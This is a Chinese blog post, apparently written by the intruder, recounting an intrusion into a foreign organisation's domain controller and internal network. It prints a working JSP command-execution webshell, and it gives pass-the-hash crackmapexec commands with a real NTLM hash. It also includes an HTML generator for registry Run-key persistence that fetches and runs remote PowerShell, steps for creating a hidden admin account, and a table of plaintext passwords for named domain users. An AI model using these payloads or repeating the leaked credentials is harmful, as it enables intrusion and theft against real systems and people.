当前位置: 首页 > news >正文

记对外国某服务器的内网渗透

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

    • 前文链接
    • 前言
    • 上线CS
    • 上线rdp
    • 后渗透
      • 信息收集
      • SMB Pth攻击
      • 权限维持
      • 魔幻上线提权
      • 关Windows Defender
    • end

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php
  26. 使用FofaSpider和Python联动批量挖洞
  27. 记一次简单的对盗号网站的渗透
  28. 记一次幸运的漏洞挖掘
  29. 记一次从外网打通AWS云
  30. 内网渗透初探

前言

外网打点是怎么拿的就不说了,跟前两篇博客一样。总之得到了一个jsp的webshell,尝试执行cmdline失败。
在这里插入图片描述
这种一般就是工具的问题,换个工具或者重新穿个cmd的webshell就行,这里我放一个AI写的,能用。

<%@ page import="java.util.*,java.io.*" %>
<HTML>
<BODY>
<FORM METHOD="POST" NAME="cmd">
<INPUT TYPE="text" NAME="command" SIZE="60">
<INPUT TYPE="submit" VALUE="Execute">
</FORM>
<PRE>
<%
if (request.getParameter("command") != null) {Process p = null;StringBuilder output = new StringBuilder();try {// 执行Windows命令p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("command"));// 读取命令输出BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while ((line = reader.readLine()) != null) {output.append(line).append("\n");}// 读取错误流BufferedReader errReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));while ((line = errReader.readLine()) != null) {output.append(line).append("\n");}p.waitFor();} catch (Exception e) {output.append("ERROR: ").append(e.getMessage());} finally {if (p != null) p.destroy();}out.print(output.toString()); // 回显结果
}
%>
</PRE>
</BODY>
</HTML>

system权限。
在这里插入图片描述
看看进程

tasklsit /svc

在这里插入图片描述
有Windows Defender,这下麻烦了。。

上线CS

因为我想内网渗透,所以直接尝试上线。
用CS自带的web投递功能试试。
在这里插入图片描述
在这里插入图片描述
什么玩意,翻译看看
在这里插入图片描述
直接被拦。但是问题不大。我还有一招。

用哥斯拉自带的shellcode加载功能,上线msf。
在这里插入图片描述
msf拿到监听后,background藏一下。
在这里插入图片描述
用cs的PAYLOAD生成器生成一个raw的shellcode,保存为.bin文件,放进kali
在这里插入图片描述
使用post/windows/manage/shellcode_inject模块内存加载shellcode
在这里插入图片描述
这里SESSION就写刚才得到的SESSION就行,SHELLCODE写绝对路径。

run之后cs成功上线。
在这里插入图片描述

上线rdp

看看有没有开rdp

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

在这里插入图片描述
0x0就是开了

看看端口是多少

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

在这里插入图片描述
d3d就是3389.

抓个密码
在这里插入图片描述
东西太多了,让ai总结。

用户名域/主机明文密码来源
soporteisBUHOIYSRayzen5-3310SSP
FedericoBUHOIYSLuTi-072021*tspkg
afloresBUHOIYS30deNoviembre6tspkg
aleBUHOIYSSanMiguel21tspkg
nparedesBUHOIYSkaty-2020tspkg
sqlmanagerBUHOIYSFuture2050tspkg
carlosBUHOIYSTininin2090tspkg

随意选一个幸运用户上线。
在这里插入图片描述
登陆成功

后渗透

信息收集

先信息收集,执行几个指令,丢给ai去总结

systeminfo
whoami /all
ipconfig /all
分类关键信息说明 / 对渗透的意义
主机信息主机名:SIYS4域控服务器(Primary Domain Controller),高价值目标
OS:Windows Server 2022 Standard (10.0.20348)最新系统,部分旧漏洞无效,但依然可利用配置错误
厂商:Lenovo ThinkSystem SR650 V3物理服务器,性能强,可能挂载多虚拟机
BIOS:Lenovo ESE124C-3.12 (2024-02-22)硬件相对新
安装时间:2025-03-26较新系统,账户/策略可能近期配置
时区:UTC-3(布宜诺斯艾利斯)阿根廷时区,方便社工判断上下班时间
域信息域:buhoiys.local域内 lateral movement 可用
系统角色:Primary Domain Controller持有全部域用户哈希,可进行 DCSync 攻击
网络信息物理网卡1:192.168.250.15/24 GW:192.168.250.1内网主地址,直连内部网络
Hyper-V 虚拟网卡:192.168.250.16/24可能通向虚拟机网络
Radmin VPN:26.229.91.5/8 GW:26.0.0.1跨网段访问,可能连到外部管理网络
Hamachi VPN:25.28.204.74/8 GW:25.0.0.1类似,可能有其他被控节点
DNS:192.168.250.15(自指)本机是域 DNS 服务器,可做 DNS zone transfer
权限信息当前用户:NT AUTHORITY\SYSTEM本地 SYSTEM 权限,可直接读写 LSASS,导出SAM/NTDS
SeImpersonatePrivilege:启用可进行 Juicy Potato / PrintSpoofer / RoguePotato 提权或横向
SeDebugPrivilege:启用可直接注入进程、调试 SYSTEM 级程序
域控管理员组成员已处于域最高权限层级

域控,很刺激啊。

SMB Pth攻击

用hashdump导出Administrator的hash

Administrador/cf4658454e9373ecf160dc903022f954

然后走一个suo5的代理,用msf挂上proxychain批量扫C段

proxychains crackmapexec smb 192.168.250.0/24 -u Administrador -H cf4658454e9373ecf160dc903022f954 --exec-method smbexec > smb.txt
cat smb.txt | grep [+]

在这里插入图片描述
这么多Pwn3d,起飞了家人们

直接执行指令whoami。

proxychains crackmapexec smb 192.168.250.5 -u Administrador -H cf4658454e9373ecf160dc903022f954 -x "whoami" --exec-method smbexec

在这里插入图片描述
system权限。

我们直接用web投递的一句话上线CS:
在这里插入图片描述
在这里插入图片描述
排除重复主机,拿下两台主机
在这里插入图片描述

权限维持

目前比较懒,只有两种方式,一是用WEB投递生成URL,然后用powershell拉取执行,另一种是本地文件执行。都是写注册表,用下面这个html快速生成。

<!DOCTYPE html> 
<html lang="en">
<head><meta charset="UTF-8"><title>权限维持小妙招</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body {font-family: Arial, sans-serif;background: #121212;color: #f0f0f0;padding: 20px;}h1 {text-align: center;color: #fff;}form {max-width: 500px;margin: 0 auto;background: #1e1e1e;padding: 20px;border-radius: 10px;box-shadow: 0 4px 8px rgba(0,0,0,0.5);}label {display: block;font-weight: bold;margin-bottom: 8px;color: #ddd;}input[type="text"] {width: 100%;padding: 8px 10px;margin-bottom: 15px;border: 1px solid #444;background: #2b2b2b;color: #fff;border-radius: 6px;outline: none;transition: border-color 0.3s;}input[type="text"]:focus {border-color: #00bfff;}input[type="submit"] {background: #00bfff;color: white;padding: 10px 18px;border: none;border-radius: 6px;cursor: pointer;width: 100%;transition: background 0.3s;}input[type="submit"]:hover {background: #008fcc;}.result-box {max-width: 500px;margin: 20px auto;background: #1e1e1e;padding: 15px;border-radius: 8px;box-shadow: 0 4px 6px rgba(0,0,0,0.5);}.result-line {margin-bottom: 15px;}.result-label {font-weight: bold;color: #00bfff;margin-bottom: 5px;display: block;}.result-line span {display: block;word-break: break-all;background: #2b2b2b;padding: 8px;border-radius: 6px;margin-bottom: 5px;font-size: 0.9em;}.copy-btn {background: #28a745;color: white;border: none;padding: 6px 12px;border-radius: 6px;cursor: pointer;font-size: 0.85em;transition: background 0.3s;}.copy-btn:hover {background: #1e7e34;}@media (max-width: 600px) {body {padding: 10px;}.result-box, form {padding: 15px;}input[type="submit"] {font-size: 1em;}}</style>
</head>
<body>
<h1>权限维持小妙招</h1>
<form id="form"><label for="command">请输入 URL 或 文件绝对路径:</label><input type="text" id="command" placeholder="例如:http://example.com 或 C:\path\file.exe" required><input type="submit" value="生成">
</form><div class="result-box" id="results" style="display:none;"><div class="result-line"><span class="result-label">用户权限版(USER)</span><span id="res1"></span><button class="copy-btn" data-target="res1">复制</button></div><div class="result-line"><span class="result-label">SYSTEM权限版(SYSTEM)</span><span id="res2"></span><button class="copy-btn" data-target="res2">复制</button></div><div class="result-line" id="rawCmdBlock" style="display:none;"><span class="result-label">原始指令(未经Base64编码)</span><span id="rawUser"></span><button class="copy-btn" data-target="rawUser">复制用户权限版</button><br><span id="rawSystem" style="margin-top:10px;display:block;"></span><button class="copy-btn" data-target="rawSystem">复制SYSTEM权限版</button></div>
</div><script>function toBase64Utf16LE(str) {const buf = new Uint16Array(str.length);for (let i = 0; i < str.length; i++) {buf[i] = str.charCodeAt(i);}const bytes = new Uint8Array(buf.buffer);let binary = '';for (let i = 0; i < bytes.byteLength; i++) {binary += String.fromCharCode(bytes[i]);}return btoa(binary);}document.getElementById("form").addEventListener("submit", function (e) {e.preventDefault();const command = document.getElementById("command").value.trim();const res1 = document.getElementById("res1");const res2 = document.getElementById("res2");const rawCmdBlock = document.getElementById("rawCmdBlock");const rawUser = document.getElementById("rawUser");const rawSystem = document.getElementById("rawSystem");let USER, SYSTEM;rawUser.textContent = "";rawSystem.textContent = "";rawCmdBlock.style.display = "none";if (command.toLowerCase().startsWith("http")) {// 网络 URLlet payload = `$u='${command}';$s='Ne'+'w-Object';$t='Net.W'+'ebClient';$d='Download'+'String';IEX((&($s) $t).$d($u))`;let encoded = toBase64Utf16LE(payload);if (!encoded) {alert("Base64 编码失败,请检查输入!");return;}USER = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;SYSTEM = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;// 原始命令const rawUserCmd = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\"" /f`;const rawSystemCmd = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\"" /f`;rawUser.textContent = rawUserCmd;rawSystem.textContent = rawSystemCmd;rawCmdBlock.style.display = "block";} else {// 文件路径USER = `reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;SYSTEM = `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;rawCmdBlock.style.display = "none";}res1.textContent = USER;res2.textContent = SYSTEM;document.getElementById("results").style.display = "block";});document.querySelectorAll(".copy-btn").forEach(btn => {btn.addEventListener("click", function () {let targetId = this.getAttribute("data-target");let text = document.getElementById(targetId).textContent;navigator.clipboard.writeText(text).then(() => {const originalText = this.textContent;this.textContent = "已复制";setTimeout(() => this.textContent = originalText, 1500);});});});
</script>
</body>
</html>

在这里插入图片描述
轻松愉快

魔幻上线提权

我本来想用3389的连接上传microsocks跑稳定的socks5服务端的,但是文件传上去,用cs去spawn却总是找不到文件路径。好奇心驱使下我就执行了systeminfo。
在这里插入图片描述
250.1,SIYSV,给我干哪来了?我最开始连的不是250.15吗?我打的不是SIYS1-4吗?

不管了,上线CS。
在这里插入图片描述
尝试提权,看看补丁
在这里插入图片描述
119个?!
在这里插入图片描述
其实能用的exp还挺多的。

打一个msf方便操作。
在这里插入图片描述
然后background去找exp
。。。。。
我把所有的exp全都打了一遍,没有一个成功的。那么我是怎么提权的呢。。

其实我现在登录的用户就已经是管理员组了,所以我们可以传cs的exe马上去,然后右键,以管理员运行,然后直接getsystem就好了。
在这里插入图片描述
在这里插入图片描述
魔幻诡异的服务器。

关Windows Defender

烦死了,wd绕不掉,权限维持不了。直接上3389关掉算了

直接新建一个影子用户,挂上代理上线rdp。

shell net user tt$ Tt@123456 /add
shell net localgroup administrators tt$ /add
shell net localgroup  "Remote Desktop Users" tt$ /add

上线
在这里插入图片描述
上线后在用户列表里找一个已登录用户,用之前抓到的密码重新登录,再删除影子用户。
在这里插入图片描述
在这里插入图片描述
不对。
在这里插入图片描述
给我干哪来了?
在这里插入图片描述
成功上线

研究了一下,原来是我登录的这个用户开了个rdp的全屏没关。白送我一台服务器。

读取浏览器密码

在这里插入图片描述

哥们,这啥啊?login.microsoftonline.com是什么??dropbox.com是什么??这么劲爆吗!

抓个密码:

Federico/McElite0302

end

就这样吧,打不动了

http://www.dtcms.com/a/327581.html

相关文章:

  • C++少儿编程(二十二)—条件结构
  • 机械臂运动规划与控制12讲
  • SQL 语言分类
  • 后端学习路线
  • 3D文档控件Aspose.3D实用教程:在 C# 中将 3MF 文件转换为 STL
  • 开疆智能Ethernet转ModbusTCP网关连接发那科机器人与三菱PLC配置案例
  • Spring Boot部署万亿参数模型推理方案(深度解析)
  • css之再谈浮动定位float(深入理解篇)
  • 物联网、大数据与云计算持续发展,楼宇自控系统应用日益广泛
  • 黑马程序员mysql课程p65 安装linux版本的mysql遇到问题
  • [密码学实战]基于国密TLCP协议的Java服务端实现详解(四十四)
  • 【基于DesignStart的M3 SoC】
  • 4/5G中频段频谱全球使用现状概述(截止2025 年7月)
  • 【unity实战】在 Unity 中实现卡牌翻转或者翻书的效果
  • 现代化水库运行管理矩阵建设的要点
  • 学习笔记《区块链技术与应用》ETH 第二天 状态树
  • 解决 HTTP 请求 RequestBody 只能被读取一次的问题
  • 敏捷开发的关键点是什么?深入探索!
  • Windows server服务器上部署python项目域名访问(超详细教程)
  • Vue 3 + Elementui + TypeScript 实现左侧菜单定位右侧内容
  • 【实时Linux实战系列】实时智能监控与异常检测
  • 什么是 DispatcherServlet?
  • 【Java项目与数据库、Maven的关系详解】
  • 部署一个开源的证件照系统
  • Notepad++ 插件开发实战技术
  • 3.8 vue2 devServer配置和 CDN 加载外部资源
  • code-inspector-plugin插件
  • 服务端配置 CORS解决跨域问题的原理
  • 从阶段演进到智能跃迁:企业合同管理的发展与趋势
  • 高性能web服务器nginx